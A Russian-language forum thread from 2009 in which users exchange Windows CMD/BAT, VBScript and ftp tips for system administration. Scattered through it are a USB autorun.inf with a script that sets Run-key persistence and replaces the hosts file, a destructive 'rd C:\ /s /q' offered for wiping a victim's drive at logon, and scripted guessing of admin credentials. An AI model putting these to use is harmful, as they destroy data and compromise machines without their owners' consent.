Просмотр полной версии : Вопросы по CMD,BAT,PowerShell
Cthulchu
16.01.2009, 13:25
служба называется "Shell Hardware Detection" она заведует автораном.
Нужно написать скрипт, который бы останавливал и отключал эту службу.
Net stop не видит ее, нужно ее идентификатор, что бы нет стоп смог ее зацепить.
---
Ага, вроди так:
NET STOP "Shell Hardware Detection
А как ее отключить или перевести в ручной режим?
---
Ага, ручной режим и остановка службы меняется в реестре. Теперь следующий вопрос: где именно.
ЗЫ
пока жду ответа - продолжаю гуглить, как видите.
SpangeBoB
16.01.2009, 13:57
sc config ShellHWDetection type= disabled
Cthulchu
16.01.2009, 14:11
Спанч! огромное спасибо, но:
C:\>sc config ShellHWDetection type= disabled
invalid type= field
Modifies a service entry in the registry and Service Database.
SYNTAX:
sc <server> config [service name] <option1> <option2>...
CONFIG OPTIONS:
NOTE: The option name includes the equal sign.
type= <own|share|interact|kernel|filesys|rec|adapt>
start= <boot|system|auto|demand|disabled>
error= <normal|severe|critical|ignore>
binPath= <BinaryPathName>
group= <LoadOrderGroup>
tag= <yes|no>
depend= <Dependencies(separated by / (forward slash))>
obj= <AccountName|ObjectName>
DisplayName= <display name>
password= <password>
SpangeBoB
16.01.2009, 14:17
Пардон ошибся вместо type надо start= disabled
Cthulchu
16.01.2009, 14:25
да! КУЛ!!!! вот это жесть!!!! я просто часа 2 уже пытаюсь это сделать и пошел не по тому пути!!!!
sc config ShellHWDetection start= disabled
РАБОТАЕТ!!!
Спанч, а скажи как можно запустить комманду в цмд скрипте от имени администратора системы при том, что я знаю все возможные пароли администратора (их не больше 10).
Правой кнопой по смдшнику и линку запустить от имени - не хочу, хочется, что бы оно было в скрипте. Тобишь, запускаю скрипт на "опытном пользователе", а он выполняет комманду от имени администратора системы.
И еще, как теперь запустить службу, написать "start= enabled"? Так не работает.
кул!
---
а как эта служба называется в русской винде?)))
SpangeBoB
16.01.2009, 14:38
Определение оборудования оболочки (Shell Hardware Detection)
Как видим опции enabled нет ,есть следующие
start= <boot|system|auto|demand|disabled>
Значение Описание
boot Драйвер устройства, который загружается загрузчиком системы.
system Драйвер устройства, который запускается при инициализации ядра.
auto Служба, которая автоматически запускается при каждой перезагрузке компьютера и даже в том случае, если на компьютер не вошел ни один пользователь
demand Служба, которая должна запускаться вручную. Это значение используется по умолчанию, если не указан параметр start=
disabled Служба, которую нельзя запустить. Чтобы запустить отключенную службу, выберите другой тип запуска
Для повышения прав я бы использовал утититу(но крайне ограниченно,т.к пароль могут расшифровать).
http://www.joeware.net/freetools/tools/cpau/index.htm
Посмотреть на будущее может пригодиться.
http://www.osp.ru/win2000/2008/03/5042839/
Если службу надо просто запустить,то
net start ShellHWDetection
Если служба должна запускаться при старте
sc config ShellHWDetection start= auto
Cthulchu
16.01.2009, 14:45
ага! да! сенк! скрипт я удачно дописал, что надо - нашел, служба называется "Определение оборудования оболочки" это можно в реестре посмотреть.
Теперь допустим, такая ситуация: В сети 2048 "опытных пользователей", есть, условно, одна расшареная на всех папка. И я хочу, что бы мой скрипт запустили все юзвери, высылаю им всем письмо с тем, что они должны запустить 1 раз такой-то файл в такой-то шаре (я админ и знаю админ доступы к каждой машине, но юзверям его знать совсем не нужно).
Именно по этому, нужно, чтобы скрипт выполнял комманды от имени админа средствами мс винды НТ. Вроди, даже сузить диапазон осей до ХПшек СП2,3 можно. Я точно знаю, что run as можно впаять в батничек. Хотя бы двумя батниками, первый запускает второй от имени админа.
runas -? пока смотрю... Наверное, проще двумя батниками... только надо воплотить схему запуска от администратора на любой машине, тобишь администратор находится на текущей, относительно запустившего скрипт, машине. И не плохо было бы запускать следующий батник из директории, из которой запущет текущий батник. Это если двумя батниками реализовать.
То, что юзвери могут увидить хэш или даже пассворд админовский - не страшно ;) Но давать им такую инфу открыто - некорректно)
SpangeBoB
16.01.2009, 15:02
Может так будет полегче,взять psexec ,пользователей попросить скачать файл.
http://www.osp.ru/win2000/2004/06/177161/
Если есть домен то можно через доменные политики назначить запуск службы.
http://support.microsoft.com/kb/256345
Cthulchu
16.01.2009, 15:06
ого, клево! домена нету, но уже давно пора)))
а на счет посторонних утилит, то перед тем как их использовать, нужно научиться это делать руками. Да и хочется доделать все в рамках двух батников, так как начал уже)
есть такая строка:
RunAs ("Administrator", @Computername, "adminpassword")
На сколько я понимаю, она настраивает параметры запуска приложений в рамках текущей сессии. Только вот как поставить условие "If false" или "If error", не дать запуститься эррору и попробовать ввести другую комбинацию имени администратора и пароля.
И за одно, как вместо имени машины сказать о том, что это current computer name?
SpangeBoB
16.01.2009, 15:29
http://admilink.narod.ru/AdmiLink.Htm#WhyNotRunAs
Вместо имени наверно можно подставить %computername%.
По поводу ошибок надо проверять переменную %errorlevel%
Cthulchu
16.01.2009, 15:50
а как проверять?))) как иф юзать правильно?
И, кстати, что такое -savecred
ага, вот о сейвкред:
Использовать учетные данные, сохраненные пользователем.
Этот параметр не доступен в Windows XP Home Edition
и будет проигнорирован.
только что это за даные...
ща сам погуглю.
SpangeBoB
16.01.2009, 15:58
Нагляднее пример из справка.
Если в приведенном ниже примере при форматировании диска в дисководе A возникнет ошибка, будет выведено сообщение об ошибке:
:begin
@echo off
format a: /s
if not errorlevel 1 goto end
echo Ошибка при форматировании.
:end
echo Конец пакетной программы.
Если ошибка не возникнет, сообщение об ошибке выведено не будет.
В Windows XP есть прекрасная справка.
Пуск-Выполнить-hh ntcmds.chm
Cthulchu
16.01.2009, 16:02
спасибо большое, опробую. А ты не знаешь что такое... щас...
ехо офф - отключения вываода комманд на экран.
эхо тыры пыры - вывод "тыры пыры" в окошко при выполнении.
Вот только что этот скрипт будет делать, если иф не сработает, тоесть, если ошибка первого уровня таки возникнет?
---
ладно, поигрался, клево все работает. Теперь осталось узнать errorlevel для ошибки авторизации.
А %errorlevel% это значение параметра errorlevel, который эквивалентен коду последней ошибки?
А как цикл сделать?)))
SpangeBoB
16.01.2009, 16:16
1)Echo off
Сам батник
@echo off
echo HELLO
pause
На экране получим только вывод Hello
2)Echo on
@echo on
echo HELLO
pause
Вывод на экране
C:\Users\>echo Hello
Hello
C:\Users\>pause
Для продолжения нажмите любую клавишу . . .
3)В примере выше ,если произойдет ошибка то скрипт отобразит сообщение об ошибке,если нет то не отобразит.
Cthulchu
16.01.2009, 16:25
ага! эврика!
ERRORLEVEL число Условие является истинным, если код возврата последней
выполненной программы не меньше указанного числа.
тогда что такое %Errorlevel% ? Просто число?
ОГО!!!
%windir%\System32\runas.exe /savecred /user:admin d:/bat.cmd
if errorlevel 1
%windir%\System32\runas.exe /savecred /user:administrator d:/bat.cmd
if errorlevel 1
%windir%\System32\runas.exe /savecred /user:Администратор d:/bat.cmd
@echo off
echo RUNAS DONE!!!
echo Now you can see some cmd script running!
pause
Воркс грейт!!!
только теперь в ран ез надо добавить пароли... и комбинации. Выйдет как раз около 27 комбинаций. А сколько у нас попыток.
SpangeBoB
16.01.2009, 16:30
Да %errorlevel% это просто число,0 успешно, >0 не успешно.
Cthulchu
16.01.2009, 16:39
ой, а в run as пароль вообще указать можно? Что-то меня убеждают, что нельзя. Ран ез при попытке логина юзера просит ввести ему пассворд этого юзера. А так сделать, что бы пассворд уже был в цмдшке и все работало - можно так?
SpangeBoB
16.01.2009, 17:00
Runas не может принять пароль как параметр,используй CPAU
http://windowsitpro.com/article/articleid/79293/jsi-tip-7258-cpau-freeware-is-a-runas-replacement-that-lets-you-specify-the-password-on-the-command-line.html
Cthulchu
16.01.2009, 17:05
да, я парочку таких утилит нашел, но мне лишь бы покомпактнее. Буду вводить сам руками. Потом, может, что-то придумаю.
Спанч! грац! у тебя 1 000 000 000 репы!)) не осмелюсь добавить еще, так как я не изверг - портить такое число)
SpangeBoB
16.01.2009, 17:11
psexec - 230kb
cpau - 550kb
Cthulchu
16.01.2009, 19:35
да размер это дело десятое, я говорю о скорости работы. Уже оптимизировал. Почти все доделал. Такой прикол нашел - в скрипте не работает проверка еррорлевела, если я запускаю его с юзверского аккаунта с шары. Переделал пути скриптика на шару, с нее он запускает основной скрипт. Так вот, эррора при вводе не правильного имени админа нету.
Тобишь, я запускаю файло
%windir%\System32\runas.exe /savecred /user:admin \\admin\scripts\bat.cmd
if errorlevel 1
%windir%\System32\runas.exe /savecred /user:administrator \\admin\scripts\bat.cmd
if errorlevel 1
%windir%\System32\runas.exe /savecred /user:Администратор \\admin\scripts\bat.cmd
а при неверном первом варианте, когда админовская учетка не с именем admin, проверка не срабатывает и скрипт закрывается. В это же время, если имя таки admin - все чудесно работает. Я у себя на машине проверял - у меня все отлично работает.
И еще... что там такое... А! в последнем пункте, там где "администратор", вместо администратора оно запрашивает пассворд для пользователя, чье имя обезображено недоделаной кодировкой. Кавычки не спасают, помогите).
SpangeBoB
16.01.2009, 20:28
Да если имя русское ,то runas из скрипта его не отрабатывает,но если поставить chcp 1251 то хоть и кракозябры ,но имя правельно воспринимает.
@echo off
chcp 1251
runas /user:Пользователь cmd
Твой скрипт рабочий,только немного с ошибкой.
%windir%\System32\runas.exe /savecred /user:admin \\admin\scripts\bat.cmd
if errorlevel 1 %windir%\System32\runas.exe /savecred /user:administrator \\admin\scripts\bat.cmd
if errorlevel 1 %windir%\System32\runas.exe /savecred /user:Администратор \\admin\scripts\bat.cmd
После 1 должно быть следующее выполнение,а у тебя перенос на новую строку.
Если нужно с новой строкой,то взять в ()
if errorlevel 1 (
%windir%\System32\runas.exe /savecred /user:admin \\admin\scripts\bat.cmd
)
Cthulchu
19.01.2009, 15:03
Спанч и все желающие, продолжаем)) Чувствую, что страничке на 20й из этого всего склею пользовательский мануал на тему автоматизации рутинных действий с помощью цмд.
---
Вот теперь такой вопрос: как можно с помощю цмд скриптика поменять настройки сетевых подключений и впн, а точнее - в впн-соединении сменить целевой компьютер, который и есть основным серваком. (А точнее, его IP в настройках, так как физически мы меняем прова)
И еще один важный вопрос, - как цмд скриптом редактировать реестр, в двух словах, дальше погуглю. И еще, службы можно отключать под пользователем но через реестр, обычные команды банятся ограничением доступа.
ЗЫ
Спанч, ты уже основной автор статьи)
SpangeBoB
19.01.2009, 16:16
Изменять соединение через cmd способа пока нет,кроме как пред конфигурация соединения и его раздача.Для создания можно использовать http://technet.microsoft.com/en-us/library/cc739464.aspx
http://www.codecomments.com/archive300-2004-12-337789.html
http://support.microsoft.com/kb/284269
http://www.isaserver.org/img/upl/vpnkitbeta2/cmak.htm
1)Смена ip,mask,gateway,dns можно воспользоваться утилитой netsh.
netsh int ip set /?
2)По поводу реестра reg /?
Cthulchu
19.01.2009, 17:04
поп оводу реестра, потом разберусь, по поводу сетевых натсроек тсп/айпи - работает, прикольно. А вот с впном щас покажу что меня интересует - только пейнт докачаю)
отредактирую, покажу.
http://img140.imageshack.us/my.php?image=vpnqp6.jpg
вот. Идея в том, что бы в настройках впн-соединения на локальной машине поменять айпишник 127.0.0.257 на валидный. Скриптом. ))
Это точно можно сделать, но вот как... Интересно было бы узнать где лежит файло с конфигом впн соединения, ведь можно только этот файлик пофиксить и все будет гуд.
Cthulchu
19.01.2009, 18:07
а можно еще попробовать убить существующее впн соединение и создать новое. только тогда придется вводить кроме айпишника сервера логин, пароль и тип коннекта.
блин, нагуглить инфу о том, как можно изменить существующее впн соединение цмд скриптом оказывается очень сложно, так и не получилось.
SpangeBoB
19.01.2009, 19:05
Сдесь создается файл rasphone.pbk,который можно редактировать с помощью текстового редактора,там и можно сменить ip servra.
%SystemDrive%\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk
Как вариант использовать vbscipt и заменить строку.
http://www.tech-archive.net/Archive/Scripting/microsoft.public.scripting.vbscript/2004-03/0502.html
Cthulchu
19.01.2009, 19:16
ух! жжжесть!!!
спанч, а можно выполнять поиск по rasphone.txt ? с последующей заменой строки, в которой встретим старый айпишник на аналогичную строку, но с новым айпишником? Но ЦМД-скриптом. Извращаемся в цмд до конца)
SpangeBoB
19.01.2009, 19:18
findstr /?
Cthulchu
19.01.2009, 19:19
ага, а заменить? и нужно же показать какую на ккакую заменить...
SpangeBoB
19.01.2009, 19:34
Только стороние решения или программы.Стандартных нет.Так что лучше взять vbscript ,который везде заведется =)
Cthulchu
19.01.2009, 19:48
не верю, что извратиться с цмд нельзя, (какой-то выход должен быть) но верю, что на ВБ это проще сделать, посему завтра - ВБ... эххх...
SpangeBoB
19.01.2009, 20:14
Чуть по легче скрипт для VBScript.
Const ForReading = 1
Const ForWriting = 2
strFileName = Wscript.Arguments(0)
strOldText = Wscript.Arguments(1)
strNewText = Wscript.Arguments(2)
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(strFileName, ForReading)
strText = objFile.ReadAll
objFile.Close
strNewText = Replace(strText, strOldText, strNewText)
Set objFile = objFSO.OpenTextFile(strFileName, ForWriting)
objFile.WriteLine strNewText
objFile.Close
И легко применяется в bat файле.
cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James "
Чтоб не таскать с собой 2 файла можно сделать bat:
@echo off
echo Const ForReading = 1 > replace.vbs
echo Const ForWriting = 2 >> replace.vbs
echo strFileName = Wscript.Arguments(0) >> replace.vbs
echo strOldText = Wscript.Arguments(1) >> replace.vbs
echo strNewText = Wscript.Arguments(2) >> replace.vbs
echo Set objFSO = CreateObject("Scripting.FileSystemObject") >> replace.vbs
echo Set objFile = objFSO.OpenTextFile(strFileName, ForReading) >> replace.vbs
echo strText = objFile.ReadAll >> replace.vbs
echo objFile.Close >> replace.vbs
echo strNewText = Replace(strText, strOldText, strNewText) >> replace.vbs
echo Set objFile = objFSO.OpenTextFile(strFileName, ForWriting) >> replace.vbs
echo objFile.WriteLine strNewText >> replace.vbs
echo objFile.Close >> replace.vbs
cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James ""
del replace.vbs
Cthulchu
20.01.2009, 16:02
Спанч, вот это ты жжешь! Скажи, а что значит строка
cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James ""
а точнее, - что такое cscript?
Хотя, у меня и без этой строки запустилось. Клево!
---
а как запустить вб скрипт из-под цмд коммандой старт так, что бы следующая комманда после старта выполнялась только после того, как закончитт выполняться запускаемое приложение?
Я вб скрипт еще не отладил, так что он пока не закрывается ;)
SpangeBoB
20.01.2009, 18:36
Так что использую после второй скрипт ,с помощью cscript происходит запуск сценария после его отработки он удаляется.Любой vbscript,jscript запускать через cscript.exe
Программа Cscript.exe является интерфейсом командной строки сервера сценариев, который позволяет указать параметры для настройки свойств сценария.
cscript replace.vbs "C:\replace.txt" "Jam" "james"
replace.vbs - сам скрипт vbs
"Jam"-фраза для замены
"james" - на что заменяем
С помощью программы Cscript.exe можно запустить сценарий, введя имя его файла в командной строке. Как Microsoft Internet Explorer сервер сценариев Windows служит контроллером средств обработки сценариев Windows, однако для его работы требуется очень небольшой объем памяти. Сервер сценариев Windows оптимально подходит как для интерактивных, так и для пакетных сценариев, таких как сценарий входа в систему и сценарий администрирования.
Сервер сценариев Windows поддерживает сценарии, написанные в редакторах VBScript и Jscript. При запуске сценария с рабочего стола или из командной строки сервер сценария считывает и передает содержимое указанного файла в зарегистрированный обработчик сценариев. Расширения файлов (.vbs для VBScript и .js для JScript) используются в обработчике сценариев для определения языка сценария. Благодаря этому, разработчик сценария не обязан знать точный программный идентификатор (ProgID) обработчика сценариев. Сопоставление расширения имени файла сценария с программным идентификатором и запуск конкретного обработчика сценариев осуществляется сервером сценариев Windows XP.
Cthulchu
21.01.2009, 01:48
спанч, спасибо.
Но почему у меня вб скрипт запустился как вб скрипт коммандой start? Может инфа не совсем актуальна для MS Windows XP SP3? Там еще сборка зверевская Лего... Может в ней какие-то патчи...
SpangeBoB
21.01.2009, 02:18
Существует cscript.exe и wscript.exe,в твоей системе идет привязка к cscript.exe.Т.е выполнение команд и отчет об ошибках будет отображаться в командной строке.Поэтому при запуске бат файла создается временное окно,в котором и выполненяется сценарий.Wscript.exe не используется консольный вывод,а использует обычные окна сообщений среды.
Для изменения сервера сценария(лучше не изменять):
cscript //H:cscript(wscript) //nologo //s
Cthulchu
25.03.2009, 14:34
так, в тот раз я все прекрасно сделал и фортки перестали автоматом запускать автораны флех, сегодня с утра коллега приносит авторан и говорит, мол, зацени.
Это просто, элегантно и весело:
[autorun]
action=Открыть папку для просмтра файлов
shellexecute=1.cmd
icon=folder.ico
shell\Open\Command=1.cmd
shell\Open\Default=1
shell\Autoplay\Command=1.cmd
показываю 1.cmd
echo off
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Inet /t REG_SZ /d "C:\Windows\system32\crgdf.cmd" /f
copy /Y crgdf.cmd %WINDIR%\system32\
copy /Y hosts %WINDIR%\system32\
Самое веселое, что эти действия никто не палит, кроме висловской системы, которая очень любит переспрашивать - уверены ли мы (UAC). А на Хп - отличненько все крутится с включенным НОД32.
Скрипт коллега писал для того, что бы сделать своему другу западло и поменять хостс.ини, сделав переадресацию с многих порно сайтов на локалхост. Сегодня вечером пошутит, а меня интересует следующее:
Как сделать так, что бы ЦМДшное окошко не было видно при запуске. Гуглил. Запрос такой трудно нагуглить.
---
И еще, как сделать так, что бы батничек, который запускался с какой-то директории выполнял
change directory to current directory?
В конце выполнения инфа и цмд, должна открываться директория флешки, но выполняются эти скрипты из флешки, тобишь надо в конце цмд выполнить explorer с данной директории, которая может варироваться.
---
ключи для эксплорера:
/e - Вид Проводника по умолчанию (двухпанельное), иначе выводится как однопанельное (как Папка).
/e, object - Открывается Проводник с видом по умолчанию и с фокусом на заданной папке (Explorer /e,C:\Windows)
/n - Открытие однопанельного нового окна на диске, на котором установлена система (C:\). Иначе информация выводится в существующем окне Проводника, если оно открыто.
/root, object - Указывает на то, что корнем будет object - это дисковод (сетевой или локальный) или папка. Иначе корнем считается Рабочий стол. (Explorer /root, C:\Windows\Cursors)
/select, object - Указывает на необходимость открытия Родительской папки объекта object и выделит object (Explorer /select, C:\Windows\Cursors\banana.ani).
По умолчанию Проводник открывается на диске C:, но вы можете изменить это поведение, заставляя его, к примеру, открывать при запуске папку D:\MyDownload. Для этого, найдите ярлык к Проводнику, щелкните правой кнопкой и выберите свойства. Выберите вкладку Ярлык. Отредактируйте строчку Объект - C:\WINDOWS\EXPLORER.EXE /n,/e,D:\MyDownload.
Если создать ярлык и указать в качестве командной строки "C:\WINDOWS\EXPLORER.EXE /ROOT," (без кавычек, но с запятой в конце), то этот ярлык будет открывать рабочий стол (desktop). Причем, в проводнике будут показаны и системные иконки (сетевое окружение, outlook и т.д.).
SpangeBoB
25.03.2009, 19:01
1) Окно cmd можно спрятать с помощью http://www.commandline.co.uk/cmdow/,команда
cmdow /run /hid mybat
2)change directory to current directory? -Это как сменить директорию на текущую,если мы и так в ней.
3)Если скрипты выполняются из корня,а открыть надо подпапку,то можно использовать
for /F %%i in ('cd') do explorer "%%~dpi1"
где 1 директория в корне.
Cthulchu
31.03.2009, 16:28
Спасибо, юзаю:)
А как создать "Патч Бармина" под виндовзХП, хочу поиздеваться над "Гостями гугловского ВиО"
Вот доступное описание патча под никсы:
_http://ru.wikipedia.org/wiki/Патч_Бармина
SpangeBoB
31.03.2009, 16:56
rd C:\ /s /q
Cthulchu
31.03.2009, 17:06
процесс не может получить доступ, так как файл занят другим процессом.... и так далее... Фишка в том, что в никсах этот "патч" выполняется прямо из консоли и в итоге остается только ядро и комманда в оперативке, а винт - "пустой". Вот и под виндой не плохо было бы такое сделать :(
А может это выйдет сделать отседова:
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Inet /t REG_SZ /d "C:\Windows\system32\ky-ky.cmd" /f
ky-ky.cmd:
rd C:\ /s /q
ну, по идее, до входа в учетку там меньше файлов кушаются... Мб я не прав. Может, из той ветки надо сначала все вычистить, а только потом кушать...
SpangeBoB
31.03.2009, 17:08
Полностью такое сделать нереально(покрайне мере без дополнительных средств),а так будут удаляться файлы,которые не заблокированы и большая часть удалится.
Cthulchu
31.03.2009, 17:15
а может там создается маркер на папке, мол эта папка содержит папку или файл системный, который удалять без определенных ключей/доступа - нельзя.
Эххх, вот минус винды как раз в том, что в винде нету или не доступна рутовая учетная запись. Было бы куда больше веселостей, если бы в фортках был рут.
Слушай, а как быть с Unlocker'oм? Он же дает возможность видить процессы, которые занимают файл и кикать все процессы может. Значит, это должно как-то реализовываться на языке форток, а значит, и в цмд!!! Тобишь, можно форматнуть винт перед этим отключив ребут при отключении критического процесса и отключать процессы по мере достажения нашей цели... В итоге, винда должна выглядеть как цмд-окошечко, а на винте - пустота... Только интересно как цмд-окошко будет само себя завершать...
ЗЫ
или я фантазирую зря?)
SpangeBoB
31.03.2009, 17:32
Маркер доступа создается в процессе входа и это позволяет получать доступ на манипулирование объектами.Я думаю это далеко не минус,а плюс ,хотя большинство критический файлов удаляется =).Unlocker может ,но тоже далеко не все,а только пользовательские в основном или предложит удалить после перезагрузки.
Пустой винт это уже на грани фантастики.
Cthulchu
31.03.2009, 17:36
погодь, ну так в теории, удалить после перезагрузки можно все? А как? А так, что наверняка удаляется до того, как пишется в оперативку, так что... Ладно, хватит с меня и удаления НТлоудера и всяких там бут.ини...
Ой, а где находится аналог нтлоудера в висле?
Спанч, еще несколько вопросиков:
Как вручную, консолью задать "маркеры безопасности" и еще, при попытке
format c:
оно просит подтвердить, потом жалуется на то, что том используется и предлагает его отключить, а потом пишет, что отключить его нельзя, так как он исполльзуется другим пользователем (наверное это наш "таинственный" SYSTEM)
не, ну просто не верится, что нельзя ничего сделать, это же не удобно!
SpangeBoB
31.03.2009, 17:44
Их заменили bootmgr и каталог boot в корневом разделе.Загрузка не будет возможна при их удалении -). А для форматирования требуется монопольный доступ,поэтому и нельзя.
Cthulchu
31.03.2009, 17:48
я там отредактировал месседж #46, ты в #47 ответь плз.
Слушай, так если из-под висты удалить bootmngr и boot, то оно не будет бутиться, надеюсь? ненужной висты под рукой нету.
---
коллега подсказал:
впихнуть в нтлоудер маленькое ядро линуха, загрузиться с него, а у него в rc.conf будет указано первым делом переформатить все в ext3
гыгы
ЗЫ
я теперь принципиально вопросы по консоли буду тут задавать. Надо бы темку переименовать в "CMD - Questions" ;)
SpangeBoB
31.03.2009, 18:31
NTLoader не может загружать не NT системы,потребуется сторонний загрузчик.А там уж с Linux подскажут другие.
Cthulchu
01.04.2009, 19:34
)))
Спанч, а как поставить delay в коммандной строке, но не с нажатием клавиши, а с продолжением после 2х секунд, у меня не получается, выходит что-то страшное, я пытаюсь веселый скрипт сделать, вот оно:
ping 182.144.210.22
if %errorlevel% > 0 echo Volia is not accessible
ping 94.76.103.22
if %errorlevel% < 0 echo FreeNet is running now
rasdial "name" "cthulchu" "pwd"
if %errorlevel% < 0 echo VPN connected
ping 192.168.2.20
if %errorlevel% < 0 echo 2.20 is working normal
ping 192.168.3.1
if %errorlevel% < 0 echo *.3.1 is aviable
ping 192.168.2.14
if %errorlevel% < 0 echo 1C is aviable
ping 192.168.2.25
if %errorlevel% < 0 echo dcroot is working normal
ping 192.168.2.22
if %errorlevel% < 0 echo 2.22 is working normal
pauseПервый пинг не должен выполнятся и эррорлевел становится больше ноля, по крайней мере, на момент тестирования - так должно быть, остальное все не лежит, так что все должно жить удачно.
но:
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ping 182.144.210.22
^CЗавершить выполнение пакетного файла [Y(да)/N(нет)]?
если не прерывать, то оно так до бесконечности будет... :)
---
Черт, не могу найти нормальный дилей, только сторонние приложения, а так не интересно. Вечно мне что-то такое надо, чего нету в цмд... Вообще-то я хотел на павершелле такое писать, но тут что-то... решил сначала в цмд реализовать.
SpangeBoB
01.04.2009, 20:18
Да все нормально (отрабатывает как положено,пингует 1 проверяет состояние и так далее),только >< заменить надо > = GTR < = LSS.
Самое простую задержку можно сделать ping 127.0.0.1 -n 2 > nul (задержка в 2 секунды)
Cthulchu
01.04.2009, 22:37
ээээ... так оно в консоли все время выводит одну и ту же строку... А мне хочется нормального выполнения. Вот я и не могу понять, почему оно одну и ту же строку выводит... При чем, очень часто выводит... Короче, такое чувство, что ничего оно не делает, только пишет строку, в которой введено ping 82.***...
С чего бы это?)
А, и кстати, а можно как-то в консоли покрасить текст? Тобишь, что бы оно разные месседжи разным цветом выводило при выполнении скрипта?
SpangeBoB
01.04.2009, 23:04
С цветом можно через color побаловаться.Это точно полный исходник,а то в нем все правильно и все идет последовательно.Только я заменил все <> на команды GTR и LSS.
Cthulchu
02.04.2009, 00:12
хм, буду на работе - попробую. Но точно трабла была. Если у тебя не повторяется - я покажу скрин с сорцами и примером выполнения.
Cthulchu
06.04.2009, 12:26
ftp
open 192.168.2.250
Administrator
Pwd:)
put
M:\test.txt
R:\soft\softt
Это я попытался коннекнуться на свой внутренний фтп и положить туда файл. Эксплорером получилось. Такс, а через консольку - пишет ошибочку:
ftp> open 192.168.2.250
Связь с 192.168.2.250.
220 Microsoft FTP Service
Пользователь (192.168.2.250:(none)): Administrator
331 Password required for Administrator.
Пароль:
230 User Administrator logged in.
ftp> put
Локальный файл M:\test.txt
Удаленный файл R:\soft\softt
200 PORT command successful.
550 R:\soft\softt: Access is denied.
ftp>
Почему? ведь у меня получилось с эксплорера... та же аутентификация, в ту же директорию пишу...
О, и кстати, у меня получится только с помощью цмд аутентифицироваться на сервере? Что бы.. Ну, "незаметно своровать файло"? :)))
SpangeBoB
06.04.2009, 12:37
Ошибка наверно возникла из-за того что файл с таким именем там уже есть,а прав на перезапись нет.
Cthulchu
06.04.2009, 12:42
неа, там только экзешники, папки и рары... А у мну - test.txt. блин... Еще и скрипты криво запускаются - приходится все руками вводить в консольку. Но догадка у тебя клевая - как раз прав на перезапись нету и не будет там, я аж испугался:)
Для теста под эксплорером я туда копирнул экзешник.
SpangeBoB
06.04.2009, 12:48
Так в чем собственно вопрос? =)Что через explorer любой файл копируется,а через cmd нельзя скопировать?
Cthulchu
06.04.2009, 12:55
ну да, ошибку выдает, но это ладно, я понял почему у мну цмд-скрипты некорректно выполнялись!
Смотри, если открыта консолька, я там уже что-то делал, а потом, не завершая работы с нею - запускаю скрипт, то он не выполняется, но открывается еще одно окно цмд и в нем бесконечно повторяется приглашение с новой строки. Если завершу работу со всеми запущеными консолями, то при запуске этого цмдшника - все равно криво выполняется, а вот если переименовать его и запустить еще раз - все отличненько.
Так, скажи мне, что делать, если при выполнении вышенаписаного цмдшника - оно ступорится на:
C:\Documents and Settings\Admin\Рабочий стол\VB PROJECT\cmd_profit>ftp
ftp>
Тобишь, выполняется комманда ftp, а потом - не хочет продолжаться... :(
ЗЫ
_http://www.google.com.ua/search?hl=ru&q=%D0%BD%D0%B5+%D0%B2%D1%8B%D0%BF%D0%BE%D0%BB%D0%B D%D1%8F%D1%8E%D1%82%D1%81%D1%8F+%D1%86%D0%BC%D0%B4 +%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D1%8B&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&meta=&aq=f&oq=
первые три ссылки - на эту тему:) Может это он из моих печенек подтянул:)
SpangeBoB
06.04.2009, 13:09
Для выполнения скрипта работы с ftp надо использовать ключ -s:имя_файла.
Формат файла будет:
open mirror.yandex.ru
ftp
ftp
mget HEADER.txt
ftp-имя пользователя
ftp-пароль
С помощью Process Monitor посмотри,что запускается и откуда консоль для выполнения скрипта.Скорее всего это вирус.Вывод еще покажи echo %path%.
Cthulchu
06.04.2009, 13:26
погоди, Спанч, это ну... пока что это не вирус, мне скрипт не с фтп выполнить надо, а с машины, на которой файл стоит, который хочу перекинуть на фтп.
Тобишь, у мну есть фтп мой и машина условно-моя, надо на мой фтп с моей машины положить файл, скрипт не на фтп, а на машине. Гы, смотри:
C:\Documents and Settings\Admin>ftp
ftp> open mirror.yandex.ru
Связь с mirror.yandex.ru.
220 Welcome to Yandex FTP service (spreader.yandex.net).
Пользователь (mirror.yandex.ru:(none)): ftp
331 Please specify the password.
Пароль:
230 Login successful.
ftp> mget HEADER.txt
200 Switching to ASCII mode.
mget HEADER.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for HEADER.txt (265 bytes).
226 File send OK.
ftp: 265 байт получено за 0,00 (сек) со скоростью 265000,00 (КБ/сек).
ftp>
Прикольно:) живой пример:)
Только это не скриптом, а руками.
А куда оно положило Хедер.тхт? а, вижу его, он в
C:\Documents and Settings\Admin
гы:
Welcome to Yandex Linux mirror (spreader.yandex.net), hosted at Yandex, Russian Federation. Contacts: opensource@yandex-team.ru Intel(R) Xeon(R) CPU E5345 x 8, Mem. 16G, Disks 6T, Bandwidth 1 Gbps. We support http, ftp and rsync protocols.
